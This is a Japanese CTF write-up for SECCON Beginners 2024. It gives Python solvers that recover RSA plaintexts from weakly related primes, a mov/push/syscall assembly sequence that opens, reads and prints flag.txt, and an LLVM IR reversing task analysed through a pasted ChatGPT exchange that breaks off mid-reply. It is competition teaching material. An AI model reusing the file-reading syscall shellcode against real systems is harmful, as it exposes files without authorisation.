SECCON Beginners CTF 2024 writeup

Writer:b1uef0x / Webページ建造途中

概要

今年も単独参加。別のCTFからの連戦で部屋も食生活もぐちゃぐちゃになっていた。

Welcomeを除いて12問正答、昨年と代わり映えしない結果で成長が見られない。Try Harder!

チームスコアボード 1038pt

目次

Safe Prime (Crypto:beginner)

Using a safe prime makes RSA secure, doesn't it?

次のPythonプログラムとその出力が与えられる。

import os
from Crypto.Util.number import getPrime, isPrime

FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
m = int.from_bytes(FLAG, 'big')

while True:
    p = getPrime(512)
    q = 2 * p + 1
    if isPrime(q):
        break

n = p * q
e = 65537
c = pow(m, e, n)

print(f"{n = }")
print(f"{c = }")

素数pに対してq=2p+1で作っているので、n=p(2p+1)の二次方程式を解けばpを求めることができる。

import math
from Crypto.Util.number import inverse, bytes_to_long, long_to_bytes

n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861

def quadratic_equation(a, b, c):
    D = math.isqrt(b**2-4*a*c)
    x1 = (-b+D)//(2*a)
    x2 = (-b-D)//(2*a)
    return x1, x2


#2x^2+x - N = 0
x1,x2 = quadratic_equation(2,1,-n);

for i in range(-10,10):
  x = x1+i
  if x*(2*x+1) == n :
    p = x
    q = (2*x+1)
    e = 65537
    d = inverse(e, (p-1)*(q-1))
    m = pow(c, d, n)
    print(long_to_bytes(m))
    break

ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}

math (Crypto:easy)

RSA暗号に用いられる変数に特徴的な条件があるようですね...?

次のPythonプログラムとその出力が与えられる。

secret.pyimport gmpy2

p = # REDUCTED
q = # REDUCTED
x = # REDUCTED
chal.pyfrom Crypto.Util.number import bytes_to_long, isPrime
from secret import (
    x,
    p,
    q,
)  # x, p, q are secret values, please derive them from the provided other values.
import gmpy2


def is_square(n: int):
    return gmpy2.isqrt(n) ** 2 == n


assert isPrime(p)
assert isPrime(q)
assert p != q

a = p - x
b = q - x
assert is_square(x) and is_square(a) and is_square(b)

n = p * q
e = 65537
flag = b"ctf4b{dummy_f14g}"
mes = bytes_to_long(flag)
c = pow(mes, e, n)

print(f"n = {n}")
print(f"e = {e}")
print(f"cipher = {c}")
print(f"ab = {a * b}")

# clews of factors
assert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0
assert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0
output.txtn = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289

丁寧に数式を整理していこう。

未知のp,q,xが与えられ、p,qは素数n=pqを使ってflagをRSAで暗号化している。またa=p-x, b=q-xを計算して、abを教えてくれる。

a,b,xの条件として、assert is_square(x) and is_square(a) and is_square(b)で3数共に平方数となっていることと、a,bは次の数で割り切れることがわかっている。

assert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0
assert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0

a,bの約数とわかっているこれらの数をA,Bとする。A,Bは共に素数である

A = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169
B = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661

このときa,bはそれぞれA,Bを約数に持ち、かつis_square(a), is_square(b)である。A,Bは素数なのだから、abは少なくともA*A*B*Bを約数に持つ。

計算すると割り切れて、ab//(A*A*B*B) = 1002777341573073149099549678043369になる。1002777341573073149099549678043369をyafuで素因数分解した。

> ./yafu-x64.exe "factor(1002777341573073149099549678043369)"


fac: factoring 1002777341573073149099549678043369
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits

Factoring composite base 31666659779223213...
fac: factoring 31666659779223213
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
Total factoring time = 0.0242 seconds


***factors found***

P1 = 3
P1 = 3
P3 = 173
P3 = 173
P3 = 199
P3 = 199
P12 = 306606827773
P12 = 306606827773

ans = 1

これでabは完全に素因数分解でき、a,bの組み合わせは高々16パターンになる。

さらにa=p-x, b=q-x, pq=nから、(a+x)(b+x)=nが得られ、16パターンのa,bを使って二次方程式を解けばxを計算できる。計算したxが平方数になっているかどうかで正しいxを判別できる。

以上の手順でソルバーを作成。

from Crypto.Util.number import bytes_to_long,long_to_bytes, inverse
import math

def quadratic_equation(a, b, c):
    D = math.isqrt(b**2-4*a*c)
    x1 = (-b+D)//(2*a)
    x2 = (-b-D)//(2*a)
    return x1, x2

def is_square(n):
    return math.isqrt(n) ** 2 == n


A = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169
B = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661

n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289

# a=Ai & is_square(a)
# b=Bj & is_square(b)
# because: ab=A*A*B*B...

factors = [3,173,199,306606827773]  #ab//(A*A*B*B)'s factors , ./yafu-x64.exe "factor(1002777341573073149099549678043369)"

for i in range(16):
  a = A*A
  b = B*B
  
  for j in range(4):
    if i & 1<<j:
      a *= factors[j]*factors[j]
    else:
      b *= factors[j]*factors[j]
  
  # p=a+x
  # q=b+x
  # pq=(a+x)(b+x)=n
  # x**2 +(a+b)x + ab = n
  x1,x2 = quadratic_equation(1,a+b,ab-n)
  
  if is_square(x1) :
    x = x1
    p = a+x
    q = b+x
    e = 65537
    d = inverse(e, (p-1)*(q-1))
    m = pow(cipher, d, n)
    print(long_to_bytes(m))
    break

ctf4b{c0u1d_y0u_3nj0y_7h3_m4theM4t1c5?}

assemble (Reversing:beginner)

Intel記法のアセンブリ言語を書いて、flag.txtファイルの中身を取得してみよう!

Webコンソールでアセンブラ言語を書いていく問題。

assemble 問題ページ
  1. Only mov, push, syscall instructions can be used.
  2. The number of instructions should be less than 25.

アセンブラの条件として、命令はmov,push,syscallの3つしか使うことができない。では各問題を解いていこう。

Challenge 1. Please write 0x123 to RAX!

mov rax, 0x123

Challenge 2. Please write 0x123 to RAX and push it on stack!

mov rax, 0x123
push rax

Challenge 3. Please use syscall to print Hello on stdout!

スタック1つにHelloの5文字が入らないので2回に分けた。

syscallで書き出し(write)はrax=1、書き出し先のstdoutはrdi=1、書き出すバイト数はrdx=4ずつ、書き出すバイトの先頭アドレスはstackの位置なのでrsi=rspとした。

push 0x6c6c6548
mov rax, 1
mov rdi, 1
mov rdx, 4
mov rsi, rsp
syscall
push 0x6f
mov rax, 1
mov rdi, 1
mov rdx, 4
mov rsi, rsp
syscall

Challenge 4. Please read flag.txt file and print it to stdout!

flag.txtをstdoutするには、syscallを3回呼んで、ファイルを開く(open)、ファイルを読む(read)、ファイルを書き出す(write)を行う必要がある。

Challenge.2で5文字のHelloを2回に分けたが、flag.txtを読み込むには0x00で区切られていない連続した8文字をstack上に作らないといけない。

pushで投入できるデータは4バイト32bitずつだが、プログラムは64bitで走っており、8バイトずつ積まれていく。よって、stackポインタのrspを増やして書き込み位置をずらす必要があった。

1つ目のブロックでは、flag.txtの文字列をstack上に連続するデータになるようにrspを書き換えながら積んだ。

2つ目のブロックではflag.txtを開く。syscallでファイルを開く(open)にはrax=2、読み込むファイル名はスタックに入っているのでrdi=rsp、あとはゼロ。成功するとraxにファイルの参照に必要なファイルディスクリプタの値が入る。

3つ目のブロックでは、flag.txtを読む。syscallでファイルを読む(read)にはrax=0、ファイルディスクリプタはrdi=rax(2つ目で返ったrax)、読み込むバイト数はrdx=0x34(何回か試してflagの長さを決めた)、読み込み先はstackなのでrsi=rspとする。

4つ目のブロックでは、スタック上に読み込んだflagをstdoutする。これはChallenge3と同じ。

以上で完成した。なお最初のpush 0x0はrspの値をいじるためにつけたもので、特に意味はない。

push 0x0
push 0x67616c66
mov rsp, 0x11feffc
push 0x7478742e
mov rsp, 0x11feff0

mov rax, 2
mov rsi, 0
mov rdi, rsp
mov rdx, 0
syscall

mov rdi, rax
mov rax, 0
mov rsi, rsp
mov rdx, 0x34
syscall

mov rsi, rsp
mov rax, 1
mov rdi, 1
mov rdx, 0x34
syscall

ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}

cha-ll-enge (Reversing:easy)

見たことがない形式のファイルだけど、中身を見れば何かわかるかも...?

cha.ll.engeというファイルが与えられる。

cha.ll.enge@__const.main.key = private unnamed_addr constant [50 x i32] [i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7], align 16
@.str = private unnamed_addr constant [14 x i8] c"Input FLAG : \00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@.str.2 = private unnamed_addr constant [22 x i8] c"Correct! FLAG is %s.\0A\00", align 1
@.str.3 = private unnamed_addr constant [16 x i8] c"Incorrect FLAG.\00", align 1

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main() #0 {
  %1 = alloca i32, align 4
  %2 = alloca [70 x i8], align 16
  %3 = alloca [50 x i32], align 16
  %4 = alloca i32, align 4
  %5 = alloca i32, align 4
  %6 = alloca i64, align 8
  store i32 0, i32* %1, align 4
  %7 = bitcast [50 x i32]* %3 to i8*
  call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 16 %7, i8* align 16 bitcast ([50 x i32]* @__const.main.key to i8*), i64 200, i1 false)
  %8 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0))
  %9 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
  %10 = call i32 (i8*, ...) @__isoc99_scanf(i8* noundef getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* noundef %9)
  %11 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
  %12 = call i64 @strlen(i8* noundef %11) #4
  %13 = icmp eq i64 %12, 49
  br i1 %13, label %14, label %48

14:                                               ; preds = %0
  store i32 0, i32* %4, align 4
  store i32 0, i32* %5, align 4
  store i64 0, i64* %6, align 8
  br label %15

15:                                               ; preds = %38, %14
  %16 = load i64, i64* %6, align 8
  %17 = icmp ult i64 %16, 49
  br i1 %17, label %18, label %41

18:                                               ; preds = %15
  %19 = load i64, i64* %6, align 8
  %20 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 %19
  %21 = load i8, i8* %20, align 1
  %22 = sext i8 %21 to i32
  %23 = load i64, i64* %6, align 8
  %24 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %23
  %25 = load i32, i32* %24, align 4
  %26 = xor i32 %22, %25
  %27 = load i64, i64* %6, align 8
  %28 = add i64 %27, 1
  %29 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %28
  %30 = load i32, i32* %29, align 4
  %31 = xor i32 %26, %30
  store i32 %31, i32* %5, align 4
  %32 = load i32, i32* %5, align 4
  %33 = icmp eq i32 %32, 0
  br i1 %33, label %34, label %37

34:                                               ; preds = %18
  %35 = load i32, i32* %4, align 4
  %36 = add nsw i32 %35, 1
  store i32 %36, i32* %4, align 4
  br label %37

37:                                               ; preds = %34, %18
  br label %38

38:                                               ; preds = %37
  %39 = load i64, i64* %6, align 8
  %40 = add i64 %39, 1
  store i64 %40, i64* %6, align 8
  br label %15, !llvm.loop !6

41:                                               ; preds = %15
  %42 = load i32, i32* %4, align 4
  %43 = icmp eq i32 %42, 49
  br i1 %43, label %44, label %47

44:                                               ; preds = %41
  %45 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
  %46 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([22 x i8], [22 x i8]* @.str.2, i64 0, i64 0), i8* noundef %45)
  store i32 0, i32* %1, align 4
  br label %50

47:                                               ; preds = %41
  br label %48

48:                                               ; preds = %47, %0
  %49 = call i32 @puts(i8* noundef getelementptr inbounds ([16 x i8], [16 x i8]* @.str.3, i64 0, i64 0))
  store i32 1, i32* %1, align 4
  br label %50

50:                                               ; preds = %48, %44
  %51 = load i32, i32* %1, align 4
  ret i32 %51
}

ChatGPTにコードを投げて調べてもらう。

ChatGPTによるcha.ll.engeの評価

LLVM IRという中間言語のようだ。

このままChatGPTに解析

Explain Block 14

user
次のLLMVM IRについて質問します @__const.main.key = private unnamed_addr constant [50 x i32] [i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7], align 16 @.str = private unnamed_addr constant [14 x i8] c"Input FLAG : \00", align 1 @.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1 @.str.2 = private unnamed_addr constant [22 x i8] c"Correct! FLAG is %s.\0A\00", align 1 @.str.3 = private unnamed_addr constant [16 x i8] c"Incorrect FLAG.\00", align 1 ; Function Attrs: noinline nounwind optnone uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca [70 x i8], align 16 %3 = alloca [50 x i32], align 16 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i64, align 8 store i32 0, i32* %1, align 4 %7 = bitcast [50 x i32]* %3 to i8* call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 16 %7, i8* align 16 bitcast ([50 x i32]* @__const.main.key to i8*), i64 200, i1 false) %8 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0)) %9 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0 %10 = call i32 (i8*, ...) @__isoc99_scanf(i8* noundef getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* noundef %9) %11 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0 %12 = call i64 @strlen(i8* noundef %11) #4 %13 = icmp eq i64 %12, 49 br i1 %13, label %14, label %48 14: ; preds = %0 store i32 0, i32* %4, align 4 store i32 0, i32* %5, align 4 store i64 0, i64* %6, align 8 br label %15 15: ; preds = %38, %14 %16 = load i64, i64* %6, align 8 %17 = icmp ult i64 %16, 49 br i1 %17, label %18, label %41 18: ; preds = %15 %19 = load i64, i64* %6, align 8 %20 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 %19 %21 = load i8, i8* %20, align 1 %22 = sext i8 %21 to i32 %23 = load i64, i64* %6, align 8 %24 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %23 %25 = load i32, i32* %24, align 4 %26 = xor i32 %22, %25 %27 = load i64, i64* %6, align 8 %28 = add i64 %27, 1 %29 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %28 %30 = load i32, i32* %29, align 4 %31 = xor i32 %26, %30 store i32 %31, i32* %5, align 4 %32 = load i32, i32* %5, align 4 %33 = icmp eq i32 %32, 0 br i1 %33, label %34, label %37 34: ; preds = %18 %35 = load i32, i32* %4, align 4 %36 = add nsw i32 %35, 1 store i32 %36, i32* %4, align 4 br label %37 37: ; preds = %34, %18 br label %38 38: ; preds = %37 %39 = load i64, i64* %6, align 8 %40 = add i64 %39, 1 store i64 %40, i64* %6, align 8 br label %15, !llvm.loop !6 41: ; preds = %15 %42 = load i32, i32* %4, align 4 %43 = icmp eq i32 %42, 49 br i1 %43, label %44, label %47 44: ; preds = %41 %45 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0 %46 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([22 x i8], [22 x i8]* @.str.2, i64 0, i64 0), i8* noundef %45) store i32 0, i32* %1, align 4 br label %50 47: ; preds = %41 br label %48 48: ; preds = %47, %0 %49 = call i32 @puts(i8* noundef getelementptr inbounds ([16 x i8], [16 x i8]* @.str.3, i64 0, i64 0)) store i32 1, i32* %1, align 4 br label %50 50: ; preds = %48, %44 %51 = load i32, i32* %1, align 4 ret i32 %51 }
ChatGPT
このLLVM IRは、入力されたフラグが正しいかどうかをチェックするCプログラムを表しています。具体的には、50文字のフラグが与えられ、特定のキー配列と比較して正しさを判断します。以下に、このLLVM IRの各部分について説明します。 ### グローバル定数 ```llvm @__const.main.key = private unnamed_addr constant [50 x i32] [i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7], align 16 @.str = private unnamed_addr constant [14 x i8] c"Input FLAG : \00", align 1 @.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1 @.str.2 = private unnamed_addr constant [22 x i8] c"Correct! FLAG is %s.\0A\00", align 1 @.str.3 = private unnamed_addr constant [16 x i8] c"Incorrect FLAG.\00", align 1 ``` - `@__const.main.key` は、50個の整数からなる配列で、フラグの各文字と比較するためのキー。 - `@.str`, `@.str.1`, `@.str.2`, `@.str.3` は、文字列リテラルで、出力メッセージや入力フォーマット指定子を保持します。 ### main関数 #### 初期化と入力 ```llvm define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca [70 x i8], align 16 %3 = alloca [50 x i32], align 16 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i64, align 8 store i32 0, i32* %1, align 4 %7 = bitcast [50 x i32]* %3 to i8* call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 16 %7, i8* align 16 bitcast ([50 x i32]* @__const.main.key to i8*), i64 200, i1 false) %8 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0))
user
14: を説明して
ChatGPT
`label %14` は、入力されたフラグの長さが49文字であるかどうかを確認した後に到達する場所です。ここでは、初期化とループの準備が行われます。このブロックでの詳細な処理について説明します。 ### ブロック14: 初期化 ```llvm 14: ; preds = %0 store i32 0, i32* %4, align 4 store i32 0, i32* %5, align 4 store i64 0, i64* %6, align 8 br label %15 ``` 1. **`store i32 0, i32* %4, align 4`** - `%4` という変数に整数 `0` を格納します。これにより、後でフラグの正しさを判定するために使用するカウンタが初期化されます。 - このカウンタは、各フラグの文字が正しいかどうかを判定するためのループ内で使われます。 2. **`store i32 0, i32* %5, align 4`** - `%5` という変数にも整数 `0` を格納します。これは、一時的な計算結果を保持するために使用されます。 3. **`store i64 0, i64* %6, align 8`** - `%6` という変数に64ビットの整数 `0` を格納します。これは、ループカウンタとして使用され、各文字を逐次処理するために使われます。 4. **`br label %15`** - ラベル `%15` へ分岐します。これにより、次のブロック(ループの開始地点)へ制御が移ります。 ### ブロック15: ループの開始 以下のコードは、フラグの各文字とキー配列の対応する値をXOR演算で比較し、すべての文字が正しいかどうかを判定するループを実装しています。 ```llvm 15: ; preds = %38, %14 %16 = load i64, i64* %6, align 8 %17 = icmp ult i64 %16, 49 br i1 %17, label %18, label %41 ``` 1. **`%16 = load i64, i64* %6, align 8`** - `%6` に格納されている64ビット整数(ループカウンタ)をロードして `%16` に格納します。 2. **`%17 = icmp ult i64 %16, 49`** - `%16` が49未満かどうかを比較します。これにより、49回のループを実行するための条件が設定されます。 3. **`br i1 %17, label %18, label %41`** - 条件 `%17` が真であればラベル `%18` へ、偽であればラベル `%41` へ分岐します。つまり、ループを続けるか、ループを終了して次の処理に進むかを決定します。 この部分のコードは、入力されたフラグが正しい形式かどうかをチェックするためにループの準備をし、そのループを開始するための重要な初期化ステップを表しています。
user
18:を説明して
ChatGPT
### ブロック18: ループ内の各文字の処理 このブロックでは、入力されたフラグの各文字に対してキー配列の対応する値を使ってXOR演算を行い、その結果をさらに次のキー配列の値とXORしてチェックを行います。 ```llvm 18: ; preds = %15 %19 = load i64, i64* %6, align 8 %20 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 %19 %21 = load i8, i8* %20, align 1 %22 = sext i8 %21 to i32 %23 = load i64, i64* %6, align 8 %24 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %23 %25 = load i32, i32* %24, align 4 %26 = xor i32 %22, %25 %27 = load i64, i64* %6, align 8 %28 = add i64 %27, 1 %29 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %28 %30 = load i32, i32* %29, align 4 %31 = xor i32 %26, %30 store i32 %31, i32* %5, align 4 %32 = load i32, i32* %5, align 4 %33 = icmp eq i32 %32, 0 br i1 %33, label %34, label %37 ``` 各命令の説明は以下の通りです。 1. **`%19 = load i64, i64* %6, align 8`** - ループカウンタ(64ビット整数)をロードして `%19` に格納します。 2. **`%20 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 %19`** - 入力されたフラグ(文字列)から現在のループカウンタの位置に対応する文字へのポインタを計算します。`%2` はフラグが格納されている配列です。 3. **`%21 = load i8, i8* %20, align 1`** - フラグの現在の文字をロードして `%21` に格納します。 4. **`%22 = sext i8 %21 to i32`** - ロードした文字(8ビット)を32ビット整数に符号拡張します。 5. **`%23 = load i64, i64* %6, align 8`** - 再度ループカウンタをロードして `%23` に格納します。 6. **`%24 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %23`** - キー配列から現在のループカウンタの位置に対応する値へのポインタを計算します。`%3` はキー配列が格納されている配列です。 7. **`%25 = load i32, i32* %24, align 4`** - キー配列の現在の値をロードして `%25` に格納します。 8. **`%26 = xor i32 %22, %25`** - フラグの文字とキー配列の値をXOR演算します。結果を `%26` に格納します。 9. **`%27 = load i64, i64* %6, align 8`** - 再度ループカウンタをロードして `%27` に格納します。 10. **`%28 = add i64 %27, 1`** - ループカウンタをインクリメントして `%28` に格納します。 11. **`%29 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %28`** - キー配列から次の位置(インクリメント後のループカウンタ)に対応する値へのポインタを計算します。 12. **`%30 = load i32, i32* %29, align 4`** - キー配列の次の値をロードして `%30` に格納します。 13. **`%31 = xor i32 %26, %30`** - 前のXOR演算の結果と次のキー配列の値を再度XOR演算します。結果を `%31` に格納します。 14. **`store i32 %31, i32* %5, align 4`** - `%31` の結果を `%5` に格納します。 15. **`%32 = load i32, i32* %5, align 4`** - `%5` に格納された結果をロードして `%32` に格納します。 16. **`%33 = icmp eq i32 %32, 0`** - `%32` の値が0であるかどうかを比較します。 17. **`br i1 %33, label %34, label %37`** - 比較結果 `%33` が真(0である)ならラベル `%34` へ、偽(0でない)ならラベル `%37` へ分岐します。 ### まとめ このブロックは、入力されたフラグの各文字をキー配列とXOR演算して検証するためのループの主要な部分です。各文字が正しい場合はカウンタを増加させ、次の文字に進むための準備をします。
user
18:の処理内容を要約してください
ChatGPT
ブロック18では、入力されたフラグの各文字とキー配列の対応する値を用いてXOR演算を行い、その結果を検証します。以下は処理の要約です。 1. **現在のループカウンタの位置をロード** - 現在のフラグの文字位置を示すループカウンタをロードします。 2. **フラグの現在の文字を取得** - ループカウンタの位置に対応するフラグの文字をロードします。 3. **フラグの文字を32ビット整数に変換** - ロードした文字を32ビット整数に符号拡張します。 4. **キー配列の対応する値を取得** - ループカウンタの位置に対応するキー配列の値をロードします。 5. **フラグの文字とキー配列の値をXOR演算** - フラグの文字とキー配列の値をXOR演算します。 6. **ループカウンタをインクリメント** - 次の位置に進むためにループカウンタをインクリメントします。 7. **キー配列の次の値を取得** - インクリメント後の位置に対応するキー配列の値をロードします。 8. **XOR演算結果と次のキー配列の値を再度XOR演算** - 前のXOR演算の結果と次のキー配列の値を再度XOR演算します。 9. **XOR演算の最終結果を保存** - 最終結果を一時変数に保存します。 10. **最終結果が0かどうかを比較** - 最終結果が0であるかどうかをチェックします。 11. **次の処理への分岐** - 最終結果が0であれば、正しいフラグの文字とみなしてカウンタを増加させるブロックへ分岐し、0でなければそのまま次のループへ進みます。 この処理を通じて、入力されたフラグの各文字がキー配列の対応する値と正しく一致するかどうかを逐次確認しています。
user
C言語の記述で表現するどうなりますか
ChatGPT
LLVM IRのブロック18の処理をC言語で表現すると、以下のようなコードになります。このコードは、フラグの各文字とキー配列の対応する値をXOR演算でチェックし、すべての文字が正しいかどうかを判定するループを表しています。 まず、全体の文脈を含むC言語のコードを示します。 ```c #include <stdio.h> #include <string.h> #include <stdint.h> int main() { const int32_t key[50] = {119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7}; char input[70]; int valid = 0; int temp_result = 0; int match_count = 0; int64_t i = 0; printf("Input FLAG : "); scanf("%69s", input); // Check if the input length is exactly 49 characters if (strlen(input) != 49) { puts("Incorrect FLAG."); return 1; } for (i = 0; i < 49; i++) { int32_t input_char = (int32_t)input[i]; int32_t key_value1 = key[i]; int32_t xor_result1 = input_char ^ key_value1; int32_t key_value2 = key[i + 1]; int32_t xor_result2 = xor_result1 ^ key_value2; temp_result = xor_result2; if (temp_result == 0) { match_count++; } } if (match_count == 49) { printf("Correct! FLAG is %s.\n", input); return 0; } else { puts("Incorrect FLAG."); return 1; } } ``` ### 各部分の説明 1. **キー配列の定義** ```c const int32_t key[50] = {119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7}; ``` 2. **入力の取得** ```c char input[70]; printf("Input FLAG : "); scanf("%69s", input); ``` 3. **入力の長さをチェック** ```c if (strlen(input) != 49) { puts("Incorrect FLAG."); return 1; } ``` 4. 